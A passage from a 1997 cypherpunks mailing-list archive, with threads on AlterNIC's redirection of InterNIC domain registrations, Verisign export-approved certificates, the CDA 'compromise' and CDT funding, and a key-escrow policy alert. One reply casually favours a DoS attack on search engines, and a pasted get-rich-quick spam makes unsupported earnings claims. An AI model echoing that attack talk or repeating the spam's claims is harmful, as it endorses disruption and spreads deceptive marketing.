supposed to be in the public trust. I don't agree with the  InterNIC
monopoly either," said Jason Brunette, a Webmaster for  TCB Internet in
Wisconsin, who was rerouted to AlterNIC this  weekend when he tried to
register a domain.







From azur at netcom.com  Thu Jul 17 13:39:58 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 18 Jul 1997 04:39:58 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: 



>> These suggests that Yahoo, Excite, and Lycos might become tempting targets
>> of a Net-wide DoS attack until they repent.
>
>It also suggests a far more intelligent course of action, namely
>setting up a competing, non-rating, search engine somewhere else.  It
>would soon become more popular than Yahoo etc -- a tremendous
>business opportunity.

With the right timing both might be much more effective.  Sorta like the
recent InterNIC NDS theft (see my separate posting).

--Steve







From whgiii at amaranth.com  Thu Jul 17 15:03:02 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 18 Jul 1997 06:03:02 +0800
Subject: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>
Message-ID: <199707171925.OAA02869@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970717100056.00733db4 at netcom10.netcom.com>, on 07/17/97 
   at 10:00 AM, Lucky Green  said:

>At 09:16 AM 7/17/97 -0700, Bill Frantz wrote:
>>It seems to me that someone who has a one year export approved Verisign
>>cert should use it to authenticate a new top-level CA cert which they pass
>>to their customers.  Cut Verisign and their nosy/noisy partner out of the
>>loop.

>Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
>extension) will activate the strong encryption in exportable browsers.
>This is hardcoded into Navigator and Internet Explorer.

Yep, fairly simmilar to "policy tokens" that were disscused on the list
last year.

Let's face it people the management of Nut$cape & Mick$loth are a bunch of
rat bastards who would sell their own mothers to make a buck.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
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From shamrock at netcom.com  Thu Jul 17 15:03:40 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 18 Jul 1997 06:03:40 +0800
Subject: Verisign gets export approval
In-Reply-To: 
Message-ID: 



On Thu, 17 Jul 1997, Michael Froomkin - U.Miami School of Law wrote:

> 
> I think it tells us that Verisign managed to convince the government that
> their product is only used for authentication, not encrypting content. 
> Which appears currently to be true, no?  And since AFIK (Please, someone,
> correct this if I'm wrong!) you can't with netscape anyway download
> another party's key that you verify with a Verisign certificate, it would
> take a fair amount of work for the ordinary user to set up a secure
> channel using the current Verisign infrastructure.   

True, the certs themselves are not covered by the export controls. But we
aren't talking about export law. We are talking about a four way
contract between Netscape, Microsoft, VeriSign, and the US government. 

Under that contract:

o VeriSign will only issue Global ID certs to US
companies with all their servers located in the US and overseas banks with
servers abroad that play by the USG's rules. Once the USG no longer approves
of the participants using strong crypto with their customers, VeriSign
will revoke the cert, disabling secure communications, and thereby severely
damaging, if not destroying, the business of the party unfortunate enough
to have relied on such a cert for their livelyhood. 

o Netscape and Microsoft get a blanket approval to ship their servers to 
non-US banks that meet the USG's criteria.

o Netscape and Microsoft also receive approval to export browsers that can 
use strong crypto *exclusively* with sites the USG and VeriSign approve of.

o The USG no longer has to waste time handling export applications it
doesn't mind approving anyway, such as those for US-friendly foreign banks.
And the USG no longer has to listen to US companies complain because they
are unable to provide their non-US customers with secure access to the 
sever located in the US.

Lastly, and most importantly, every purchaser of a VeriSign Global ID cert
allows the USG and VeriSign to install a MASTER-OFF switch in the heart of
their business. I feel sorry for the poor suckers that will lose home and 
hearth after subscribing to this fatally flawed solution.

--Lucky






From azur at netcom.com  Thu Jul 17 15:06:29 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 18 Jul 1997 06:06:29 +0800
Subject: Verisign gets export approval
In-Reply-To: 
Message-ID: 



At 10:00 AM -0700 7/17/97, Lucky Green wrote:
>At 09:16 AM 7/17/97 -0700, Bill Frantz wrote:
>>It seems to me that someone who has a one year export approved Verisign
>>cert should use it to authenticate a new top-level CA cert which they pass
>>to their customers.  Cut Verisign and their nosy/noisy partner out of the
>>loop.
>
>Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
>extension) will activate the strong encryption in exportable browsers. This
>is hardcoded into Navigator and Internet Explorer.

That's what patch installers are for ;-)

--Steve







From declan at vorlon.mit.edu  Thu Jul 17 15:14:23 1997
From: declan at vorlon.mit.edu (Declan McCullagh)
Date: Fri, 18 Jul 1997 06:14:23 +0800
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 16:44:12 -0400
From: Seth Finkelstein 
To: fight-censorship at vorlon.mit.edu
Cc: jseiger at cdt.org, jberman at cdt.org
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups

	I finally went back digging through my archives, to confirm my
memory that we had gone through almost exactly this sort of argument
in the run-up to the CDA. All the elements were there - the
"compromise" in terms of attempts to use labeling, the defensiveness
from EFF, CDT, compared to opposition from the ACLU, and so on. Not a
whole lot has changed. Mike Godwin was just as snide and snotty then
as he is now :-).
	The idea then was the infamous White proposal, lower the
standard a little, have "good faith" defenses (what evolved into
censorware and ratings). Basically, have businesses running the
system, don't let the Religious-Right go wild. Well, that lost out
narrowly, and so we fought the CDA battle. But after that was won,
those interested in content regulation didn't just pack up and go
away. They went back to the earlier proposals. Which is an excellent
argument that nothing will be gained by any sort of "compromise" here.

================
Seth Finkelstein
sethf at mit.edu



Date: Sat, 2 Dec 1995 21:11:50 -0500
Message-Id: <951202211149_42309455 at emout05.mail.aol.com>
To: declan+ at cmu.edu, fight-censorship+ at andrew.cmu.edu
Subject: Re: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise

Let me make it clear that the ACLU does not support this compromise and that
no true civil liberties organization, which represents the interests of
internet users and content providers does.

Barry Steinhardt
ACLU


Message-Id: 
Date: Sat,  2 Dec 1995 16:35:15 -0500 (EST)
From: "Declan B. McCullagh" 
To: Fight Censorship Mailing List 
Subject: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise

	 NEW YORK (Reuter) - A group of commercial online services 
and civil liberties groups have agreed to accept restrictions on 
sexual material being sent on the Internet, the New York Times 
reported in Saturday editions.  
	 The compromise, drafted by Washington state Republican Rick 
White, would create provisions for a Senate bill that would 
impose fines and prison sentences on people who transmit 
pornography, the newspaper said.  
	 It said the compromise, circulating as a draft on Capitol 
Hill, made no distinction between commercial and nonprofit 
service providers. It said the restrictions would presumably 
apply to all, including Internet access nodes run by academic 
institutions.  
	 The Times said the agreement was being made known days 
before a joint Senate-House committee is expected to debate a 
measure that would impose fines of up to $100,000 and jail terms 
on people who knowingly transmit pornography or material 
deemed ``filthy'', ``lewd'' or ``indecent''.  
	 The compromise would weaken the Senate bill's prohibitions 
against making indecent material available to children by 
changing the prohibition to material that is considered 
''harmful to children'', the Times reported.  
	 The compromise would also offer added protection to online 
services or information providers who make a good faith effort 
to keep sex material away from children, the newspaper said.  

---

	NEW YORK (AP) -- There reportedly is agreement on legislation 
limiting pornography on the Internet.  
	The New York Times reported Saturday that a coalition of 
commercial on-line providers and some civil liberties groups have 
reversed course and signed on to a compromise drafted by Rep. Rick 
White, R-Wash.  
	The move comes just a few days before a House-Senate conference 
committee takes up a measure that would impose prison sentences and 
fines on people who knowingly transmit pornography or material 
deemed ``filthy'' or ``lewd.''  
	But White's proposal would offer added protection to on-line 
services that make good-faith efforts to keep pornography away from 
children.  
	The Times report says the coalition has agreed to the compromise 
as the lesser evil of other more restrictive proposals.  





From: Mike Godwin 
Message-Id: <199512030242.SAA13684 at well.com>
Subject: Re: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise
To: BSACLU at aol.com
Date: Sat, 2 Dec 1995 18:42:24 -0800 (PST)
Cc: declan+ at cmu.edu, fight-censorship+ at andrew.cmu.edu
In-Reply-To: <951202211149_42309455 at emout05.mail.aol.com> from "BSACLU at aol.com" at Dec 2, 95 09:11:50 pm


 
Barry Steinhardt writes:

> Let me make it clear that the ACLU does not support this compromise and that
> no true civil liberties organization, which represents the interests of
> internet users and content providers does.
>
> Barry Steinhardt
> ACLU

I don't think Barry Steinhardt is in the position of defining, in this
rather authoritarian manner, who qualifies as "true civil liberties
organization, which represents the interests of internet users and content
providers."

EFF takes the position that no content-control legislation should be
passed. At the same time, we acknowledge the value of efforts, such as
that of Congressman White, to steer the Telecom Bill toward language that
is congruent with the long-established Constitutional framework that
limits what the government can do with regard to expression. (We do so
even though we do not endorse any of the proposals that have been
floated in the conference committee.)

If this counts as "support" for this compromise -- that is, if Barry
Steinhardt takes the position that "no true civil liberties organization"
could conceivably take a principled position that does not parrot 
Steinhardt's own -- then perhaps he should say so now, since EFF had
planned to work with ACLU on litigation challenging whatever content-
control language emerges in the telecom bill.

I had not thought, before now, that the only "true" civil liberties
position is one that precisely parrots that of Steinhardt and the ACLU.
Perhaps the DOJ's antitrust division should investigate the ACLU's 
monopoly on principled civil-liberties stances.

It is a sad historical fact that, all too often, certain civil
libertarians feel compelled to spend their energy in quarrelling
with allies over relatively minor differences on strategic and tactical
issues while the pro-censorship forces close ranks and present a united
front. You'd have think we'd all have learned by now.

I should hope, by the way, that my own credentials as a "true" civil
libertarian are not in question. I'm willing to compare my track record 
on "cyber liberties" with anyone else's.

Perhaps Barry could identify with some specificity those whom he, from his
lofty perch, believes to be other than "true" civil libertarians.
Alternatively, he may have some suggestions as to how we can all continue
to work together without wasting any time pissing on each other.


Yours for freedom of speech on the Net,

--Mike Godwin
  Staff Counsel
  EFF




To: fight-censorship+ at andrew.cmu.edu
From: kip at world.std.com (Bob Chatelle)
Subject: Re: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise
Date: Sat, 2 Dec 1995 22:30:05 EST
Message-Id: 

In article  Mike Godwin  writes:
> 
>Barry Steinhardt writes:

>> Let me make it clear that the ACLU does not support this compromise and that
>> no true civil liberties organization, which represents the interests of
>> internet users and content providers does.
>>
>> Barry Steinhardt
>> ACLU

>I don't think Barry Steinhardt is in the position of defining, in this
>rather authoritarian manner, who qualifies as "true civil liberties
>organization, which represents the interests of internet users and content
>providers."

>EFF takes the position that no content-control legislation should be
>passed. At the same time, we acknowledge the value of efforts, such as
>that of Congressman White, to steer the Telecom Bill toward language that
>is congruent with the long-established Constitutional framework that
>limits what the government can do with regard to expression. (We do so
>even though we do not endorse any of the proposals that have been
>floated in the conference committee.)

I do not believe that Barry was criticizing EFF or any other civil-liberties 
group that has been opposing content-restrictive legislation.  Barry was 
rightly taking issue with the NYT for claiming that civil-liberties groups 
were willing to accept compromise on restricting content.  I think his 
statement, that no true civil-liberties group would support such a compromise 
is valid.  Mike, in the above paragraph, explicitly states that EFF does not 
support such compromises.  But we all knew that.

I think this was a simple case of someone taking offense where no offense was 
meant.  I do that myself more often than I care to admit.  To get pissed off 
is human.  Let's all keep working together.

Cheers,
Bob

--------------------------------------------------------------------------------
Bob Chatelle                   kip at world.std.com          National Writers Union
Cambridge, Massachusetts                                 UAW Local 1981, AFL-CIO
                   Boston Coalition for Freedom of Expression
Home Page: http://world.std.com/~kip/     PGP Public Key Available on Request
   "The right to be let alone is indeed the beginning of all freedom."
                                  --Justice William O. Douglas
-------------------------------------------------------------------------------



Message-Id: 
Date: Mon,  4 Dec 1995 23:51:16 -0500 (EST)
From: "Declan B. McCullagh" 
To: Fight Censorship Mailing List 
Subject: CDT Funding and Cyberporn "Compromise"
Cc: berman at cdt.org
References: <199511230338.TAA00816 at igc3.igc.apc.org>

When I was in Boston over the weekend, I had brunch at a wonderful
Harvard Square patisserie with Harvey Silverglate, Seth Finkelstein, and
Bob Chatelle. Over coffee and baguettes we talked about the "cybersmut
compromise" on the front page of the NYT that morning. The NYT was
reporting that "some civil liberties groups" -- in particular the Center
for Democracy and Technology -- had agreed to the "compromise:"

 "While it does embody much of the original Exon proposal, it does so in 
 a way that tries to embody a constitutionally recognized standard." 
    --Jerry Berman, director of the Center for Democracy and Technology

We were confused. This is the same "compromise" that Barry Steinhardt
from the ACLU said that "no true civil liberties organization" would
support. (I recall that Barry is the associate executive director and
the head of the ACLU's Civil Liberties in Cyberspace task force.)

Today I ran across this message about the CDT. I'm copying this to Jerry
Berman in case he'd like to respond.

-Declan


---------- Forwarded message begins here ----------

Date: Thu, 23 Nov 1995 00:38:12 GMT
From: "W. Curtiss Priest" 
Subject: Corporate Crime and CDT Funding on behalf of so-called medical privacy


There is a very interesting discussion on the Federal Medical Information
bill on the med-privacy list, Curt

----------------------------Original message----------------------------

     The following article appeared in the current issue of
Corporate Crime Reporter (Volume 9, Number 44, November 20, 1995,
page one).  It is redisseminated on the Internet with the
permission of CCR.

SELF-PROCLAIMED "PUBLIC INTEREST" GROUP  HEAVILY FUNDED BY
COMPUTER, TELECOMMUNICATIONS, DATABANK CORPORATIONS THAT WOULD
BENEFIT FROM "MEDICAL PRIVACY" LEGISLATION GROUP SUPPORTS --
EQUIFAX, TRW, DUNN & BRADSTREET IN THE MIX

     The Center for Democracy & Technology (CDT), a self-
proclaimed "public interest organization," is in fact heavily
funded by large private computer, telecommunications, and
databank corporations.
     Funders of CDT, a two-year old Washington, D.C.-based
advocacy organization, include Dunn & Bradstreet Corp., Equifax
Inc., and TRW Information Services, three large databank
corporations that stand to benefit from federal legislation CDT
actively helped shaped and is shepherding through Congress.
     This year, CDT has received $699,643 from more than 30 large
corporations, including $100,000 from Microsoft, $75,000 from
AT&T, $60,000 from Bell Atlantic, $50,000 from Apple Computer,
$25,000 from IBM, $10,000 from TRW Information Services, $10,000
from Dunn & Bradstreet, $5,000 from Direct Marketing Association,
and $5,000 from Equifax Inc. (For a complete list of CDT's
funders, see At A Glance, page 16)
     At a hearing before the Senate Labor and Human Resources
Committee last week, CDT deputy director Janlori Goldman said
that CDT "strongly supports" legislation, S. 1360, sponsored by
Senators Robert Bennett (R-Utah) and Patrick Leahy (D-Vermont),
because it represents "the most comprehensive and strong privacy
bill the Congress has yet considered in this area."
     But opponents of the bill argue that the legislation is not
a privacy statute at all, but instead is a vehicle that would
legitimize the creation of large computerized databanks of
personal medical information, thus benefitting those companies
like TRW and Equifax that give financial support to CDT. The
legislation would allow for broad, unauthorized searches of those
databanks, opponents claim.
     In an interview, Goldman told Corporate Crime Reporter that
all of CDT's corporate funding is earmarked for other projects
and that none of the corporate funding is supporting her work on
the medical privacy bill.
     "The corporate funding is not related at all, in any way
shape or form to my work on this bill," Goldman said. "The reason
we are doing this bill is that I've worked on privacy issues for
a decade. The most important privacy issue to work on is the
passage of the medical records privacy legislation. That is a
very sincere issue for me."
     "None of the corporate support that CDT gets is related to
my work on this bill," Goldman emphasized. "None. Zippo."
     CDT's executive director, Jerry Berman agreed. "We have no
funding for the medical privacy project -- zero," Berman said.
     But critics of the CDT's position on the legislation were
skeptical.
     "During the Senate hearing this week, Senator Bennett was
angered at the suggestion that S. 1360 was an industry bill,"
said Jamie Love of Ralph Nader's Center for Study of Responsive
Law. "He claimed that he had widely consulted with privacy groups
and patient advocates. CDT's Janlori Goldman was the key person
who decided who was in the loop, and who was not in the loop on
this issue. Groups that were not receptive to the idea of massive
database systems of personal medical records were excluded from
deliberations."
     "To find out that CDT has been funded by companies such as
Equifax, TRW, Dunn & Bradstreet, IBM and the telephone companies
is remarkable, because these are among the groups who have the
most at stake in legitimizing and preserving the current system
of maintaining and managing medical records," Love said. "I think
that Janlori Goldman should have mentioned in her Senate
testimony that CDT was funded by corporations who have an
interest in this issue."
     "If CDT were doing its job, TRW and Equifax wouldn't want to
give it money," Love added.
     Harold Eist, president-elect of the American Psychiatric
Association, said that "any datagathering and large computer
company would clearly benefit from legislation that drives large
amounts of individually identified data about American citizens
into data banks without the knowledge and permission of those
American citizens."
     "Selling that information would represent a gold mine for
those companies," Eist said.
     "It is not surprising that an organization with a
disingenuous name -- Center for Democracy & Technology -- would
be supporting a bill with a disingenuous name -- The Medical
Records Confidentiality Act," Eist said. "In fact, this bill
represents an effort to give away the privacy of American
citizens without their knowledge."
     "My understanding is that Janlori Goldman was involved in
writing the bill," Eist said. "It seems to me that as a former
civil libertarian, she should know very well that there are
loopholes in that bill regarding protections to privacy that you
could drive a Mack truck through."
     "Unless people can be assured that their privacy will be
protected, there is little or no chance that they will reveal the
kind of tormented and dark secrets that they have to reveal to
recover from their illnesses," Eist said. "Confidentially is the
sine qua non of medical treatment, and especially if it is
psychiatric medical treatment."
     A driving force behind the effort to derail the
Bennett/Leahy bill is Denise Nagel, a Boston physician who
organized the Coalition for Patient Rights of New England "to
restore confidentiality to the doctor-patient relationship."
     Nagel refused to comment on CDT's funding.
     At the Senate hearing last week, Nagel told the committee "I
have no industry ties."
     Nagel charged that S. 1360 was written "to advance the
interests of certain segments of the computer,
telecommunications, data processing and health-care industries."
     "With this bill they would be able to careen full speed
ahead to develop data networks that will give innumerable people
access to our medical records legally and without our knowledge,"
Nagel said.
     "I am convinced that S. 1360 is not at all primarily
concerned with the confidentiality of medical records," Nagel
told the committee. "It is just the opposite. It talks about
informed consent, but then authorizes the creation of databases
without patient knowledge or consent. It talks about individual
rights, and then allows police broad authority to search
databases directly instead of obtaining a specific record from
the patient's doctor. It talks about civil and criminal
sanctions, and then pre-empts all common law and most existing
and future state statutes. It talks about ensuring personal
privacy with respect to medical records, and then sets a ceiling
rather than a floor on medical confidentiality."

AT A GLANCE: CENTER FOR DEMOCRACY AND TECHNOLOGY FUNDING, 1994-
1995

American Advertising Federation         500.00
America Online, Inc.                 25,000.00
Apple Computer Inc.                  50,000.00
AT&T                                 75,000.00
Bell Atlantic                        60,000.00
Business Software Alliance            6,000.00
Cellular Tellecomm Indust Assn       10,000.00
CompuServ                            30,000.00
Delphi Internet Services Corp        10,000.00
Direct Marketing Association          5,000.00
Dunn & Bradstreet Corp               10,000.00
EMA                                   5,000.00
Equifax Inc.                          5,000.00
John Gilmore                          2,500.00
Hartford Foundation                 153,000.00
IBM                                  25,000.00
Information Technology Industry       5,000.00
Interactive Digital Software          5,000.00
Lotus                                 6,250.00
MARC                                 80,000.00
MCI Telecommunications               15,000.00
Microsoft                           100,000.00
National Cable Television Assn       15,000.00
Netscape Communications Corp          5,000.00
Newspaper Association of Am           5,000.00
Nynex Government Affairs             25,000.00
Pacific Telesis                      25,000.00
Prodigy Service Company              10,000.00
Software Publishers Assn             10,000.00
Time Warner Inc                       5,000.00
TRW Information Svcs                 10,000.00
US Telephone Association             10,000.00
US West Inc                          10,000.00

Total Funding                        814,020.00

Received 1994                        114,377.00
Received 1995                        699,643.00

Total Funding                        814,020.00


Russell Mokhiber
russell at essential.org
voice: 202/429-6928






From declan at vorlon.mit.edu  Thu Jul 17 15:15:06 1997
From: declan at vorlon.mit.edu (Declan McCullagh)
Date: Fri, 18 Jul 1997 06:15:06 +0800
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 17:19:58 -0400
From: Jonah Seiger 
To: Seth Finkelstein , fight-censorship at vorlon.mit.edu
Cc: jberman at cdt.org
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups

At 4:44 PM -0400 7/17/97, Seth Finkelstein wrote:
>	I finally went back digging through my archives, to confirm my
>memory that we had gone through almost exactly this sort of argument
>in the run-up to the CDA. All the elements were there - the
>"compromise" in terms of attempts to use labeling, the defensiveness
>from EFF, CDT, compared to opposition from the ACLU, and so on. Not a
>whole lot has changed. Mike Godwin was just as snide and snotty then
>as he is now :-).
>
><....>

Ah, the old 'drag out CDT's funding list' trick.  For the record, CDT is
supported by companies and foundations who share our agenda and goals, and
believe that we are effective advocates of our views.  Search all you want
for a consipracy -- you aren't going to find one.

While CDT makes no apology for our position (along with EFF and others) to
reluctantly support White's proposal 2.5 years ago given the context of the
debate (read our statement at
http://www.cdt.org/publications/pp311204.html) - the fact is that the
Supreme Court decision settled this debate, and the White compromise was
never passed by Congress.

As for your claim that what happened yesterday at the white house is
similar to the "compromise" of December 1995, you are way off base.

White 1995                                 White House 1997
--------------------------------------------------------------------------------

Content Regulations imposed                No content regulations, no law
by Congress on all Internet                or regulation of Net, no requiement
Publishers.                                to label or rate content.

Criminal Penalties for                     No criminal penalties for anything
display of Harmful To                      besides trafficing in child
Minors Material w/o good                   pornography, obscenity or
faith effort to block                      stalking kids online (illegal before
kids access                                CDA)

The bottom line is that these are two remarkably different approaches. Even
White himself is supportive of the direction the President articulated
yesterday.

Hope that helps clarify a bit.

Jonah



  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151


http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/homes/jseiger/







From entreprenuers at juno.com  Fri Jul 18 06:29:28 1997
From: entreprenuers at juno.com (entreprenuers at juno.com)
Date: Fri, 18 Jul 1997 06:29:28 -0700 (PDT)
Subject: $140/day, Full 90 Day Guarantee!!!
Message-ID: <011297055501222@g_fantasm.com>



(***This is a one time only, limited offer.  You will not receive it again.  If I
do not hear from you, your name is automatically removed from my list.  Due
to overwhelming response, I must also limit the number of people allowed in
my program to preserve market effectiveness.***)

ALL I DO IS MAIL OUT 10 OF THE EXACT SAME SALES LETTER EVERY DAY!!    
                   
That is all that I do! I earn $140, $200, even $250 and more a day mailing out
the exact same sales letter. There is absolutely no catch or crazy gimmick
involved here, I promise you. This has nothing whatsoever to do with any 
ridiculous envelope stuffing program, illegal chain-letter scam, get rich quick
or worthless multi-level scheme!
 
There is not an easier or simpler way to make $140+ a day than this...
-- there can't be -- it's impossible! If you would like to retire on $140, $200, 
even $250 and more a day working only 1 hour each day then listen up...
  
I tried every money making plan under the sun. after three years of constant
attempts at striking it rich, I had done nothing but strike out.
 
I tried multi-level marketing... I failed!    
I tried chain letters... They failed me!
I tried envelope stuffing... What a joke!
I tried nine other various business ventures...
  
I was a fool. I didn't make much money. I can admit it, I was not the greatest
business person. I needed a way of making money that couldn't fail.
 
I worked hard about 50 hours a week cleaning houses. Many of my
customers were very wealthy. One of which was a thirtyish guy who drove
around in a Ferrari Testarossa. After cleaning his home he gave me the 
usual $20.00 tip and I asked him what he thought of the soap business. He 
started laughing so hard.

I'll never forget what he said, " Get a clue friend. You want to sell soap door
to door?  Did the fumes from your window cleaner go to your head or
something?  Someday when your serious about making money...
-- REAL Money -- call me and I will take you to school." I told him that I was
ready now and he said, " I don't have time today, but think about this. Why
sell soap?

People all over town sell it. No one could really care less where they got it
from.  Give people something that they want. I mean want bad, and be the 
only one with it. Think about that and come by the house tomorrow morning."
As he drove away, he stopped, smiled and said, " Wake up pal, valuable 
information sells."  I was dumbfounded. What did he mean? What was he 
talking about?
  
The next morning he gave me the information that would change my life!  In
thirty minutes he showed me a little known method that anyone can use to 
start making over $140 a day. At first I was skeptical. Who wouldn't be? His 
proven method was like nothing I had ever seen or heard of before.
  
Now I make over $140 a day working from home, at my leisure. It's so 
simple.  I sell information in a unique and exciting way. Every body wants it, 
only I can provide it!  I have even started my own little business doing 
exactly what I have described.  I have NEVER made less than $140 a day!
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From whgiii at amaranth.com  Thu Jul 17 15:47:25 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 18 Jul 1997 06:47:25 +0800
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups (fwd)
In-Reply-To: 
Message-ID: <199707172230.RAA04879@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/17/97 
   at 05:51 PM, Declan McCullagh  said:

Declan,

I sniped this from your forwarded post:


>White 1995                                 White House 1997
>--------------------------------------------------------------------------------

>Content Regulations imposed                No content regulations, no law
>by Congress on all Internet                or regulation of Net, no
>requiement Publishers.                                to label or rate
>content.

>Criminal Penalties for                     No criminal penalties for
>anything display of Harmful To                      besides trafficing in
>child Minors Material w/o good                   pornography, obscenity
>or faith effort to block                      stalking kids online
>(illegal before kids access                                CDA)


Do you have any docs or transcripts from the meeting with the White House?

What is being claimed above about the current proposal and what I ahve
been hearing here are two differnet things. It was my understnding that
the current proposal was very much like the White proposal in '95.

Any clairifcation you can provide on this matter would be appreciated.

Thanks,



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM86PuI9Co1n+aLhhAQGs9wP/RPNSdQxvRvWgThjPGWG6wbS0m4wyjaPz
K1psZ+UZwsng3htjbo9KF023NfQMJo4+soQk7UkZiD8du4WejBQWA6epGmM6/MB7
12FwSwnRz0EmruUrC7sGYq3TcG2f3DP2mEF5znQjcCYKnbn0nmcYFpSQJc+Hy/nR
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From dformosa at st.nepean.uws.edu.au  Thu Jul 17 15:54:21 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 18 Jul 1997 06:54:21 +0800
Subject: The Big Sellout
In-Reply-To: 
Message-ID: 



On Thu, 17 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> I think a better approach would be to rate all of one's pages as being very
> nasty, and post a disclaimer that those who rely on 'ratings' shouldn't be
> allowed to see it, irrespective of contents.

Hell it would probly get you more hits from the drool and click crowd.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett






From declan at well.com  Thu Jul 17 16:21:54 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 18 Jul 1997 07:21:54 +0800
Subject: Center for Security Policy calls for domestic key escrow (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 16:00:27 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: Center for Security Policy calls for domestic key escrow

In the boxing ring of Washington, the Center for
Security Policy packs a hefty punch. Its faxed alerts
appear once or twice a week on the desks of thousands of
key decisionmakers. They're predictably hawkish, with
titles like "The Nation Needs MORE B-2s."

A recent one focused on encryption. The message: The
Clinton administration isn't doing *enough* to control
crypto, especially domestically:

	But a national information infrastructure also needs
	selective transparency on call to support users'
	needs to get at their encrypted data... U.S. law
	enforcement agencies in carrying out criminal
	investigations also need to be able to access voice
	communications, data records and data transmissions
	consistent with constitutional protections. The loss
	of this investigative technique, which is subject
	to strict judicial scrutiny -- would be disastrous
	for law enforcement.

	Regrettably, the Clinton Administration has been
	unwilling to stand up and say, here is what needs
	to be done -- perhaps out of a fear of alienating
	a key constituency, the computer industry.

Read on for the full text of the alert and a
well-reasoned response by ATR's Jim Lucier.

-Declan

Additional articles on crypto:

  http://pathfinder.com/netly/editorial/0,1012,931,00.html

  http://pathfinder.com/netly/opinion/0,1042,1022,00.html

**************

No. 97-D 88

DECISION BRIEF
25 June 1997
For Immediate Release
(202) 466-0515

Breaking the Code on the Encryption Debate: National
Security Interests Are Being Jeopardized

(Washington, D.C.): With relatively little fanfare, a
truly momentous public policy debate is taking place
in Washington. Unfortunately, all other things being
equal, it seems likely that the outcome of this debate
concerning the domestic use, foreign export and
international regulation of encryption techniques will
do grievous harm to the national security interests of
the United States.

'You Can't Tell the Players...'

Such an extraordinary, and ominous, result is in
prospect due to several factors:

By its very nature, encryption -- a generic name for
numerous means of encoding computer, voice or other
transmissions of data so as to conceal the contents
from unauthorized access -- is one of the most complex
and obscure of sciences. Given its direct relevance
for the protection of classified U.S. government
information and for the penetration of foreign
governments and other entities' secure communications,
the U.S. National Security Agency (NSA) has jealously
tried to shield from public view as much as possible
about the technology and techniques involved in
encryption and code-breaking.

The necessary secretiveness associated with what NSA
does and how the spread of encryption systems might
affect the American ability to perform signals
intelligence (SIGINT) by intercepting and monitoring
foreign communications enormously complicates this
debate.

Robust encryption at home contributes to national
security as well as protecting American industry,
critical information networks and citizens' privacy.
But a national information infrastructure also needs
selective transparency on call to support users' needs
to get at their encrypted data.

U.S. law enforcement agencies in carrying out criminal
investigations also need to be able to access voice
communications, data records and data transmissions
consistent with constitutional protections. The loss
of this investigative technique, which is subject to
strict judicial scrutiny -- would be disastrous for
law enforcement.

Widespread use of unbreakable encryption is exactly
what terrorists, drug lords, pedophiles and their ilk
want to see. But law enforcement needs a controlled
window into this encryption as part of its
responsibility to detect, prevent or prosecute
criminal behavior. Experience with court-ordered
wiretaps suggests that, by requiring judicial approval
of such electronic monitoring, this function critical
to the rule of law and a civil society can be
performed without risk of serious abuse.

Due to advances in information techniques, the
know-how and means for providing sophisticated
encryption capabilities has proliferated dramatically
in recent years. With the burgeoning use of the
Internet and other electronic devices for conducting
business, the demand for means to keep voice
communications, data records and data transfers
private has also grown tremendously.

U.S. manufacturers of computer software and hardware
-- many of whom have been key supporters of and enjoy
great influence with President Clinton and his
Administration -- are demanding an opportunity to meet
this demand with encryption products that will be
exceedingly robust, if not impenetrable. They
typically point not only to the trade benefits such
sales would represent but to the prospect that foreign
manufacturers of encryption technologies will gladly
supply products not available from American sources.
Similar arguments have proven effective in obtaining
Administration support for the wholesale elimination
of export controls on powerful computers -- even
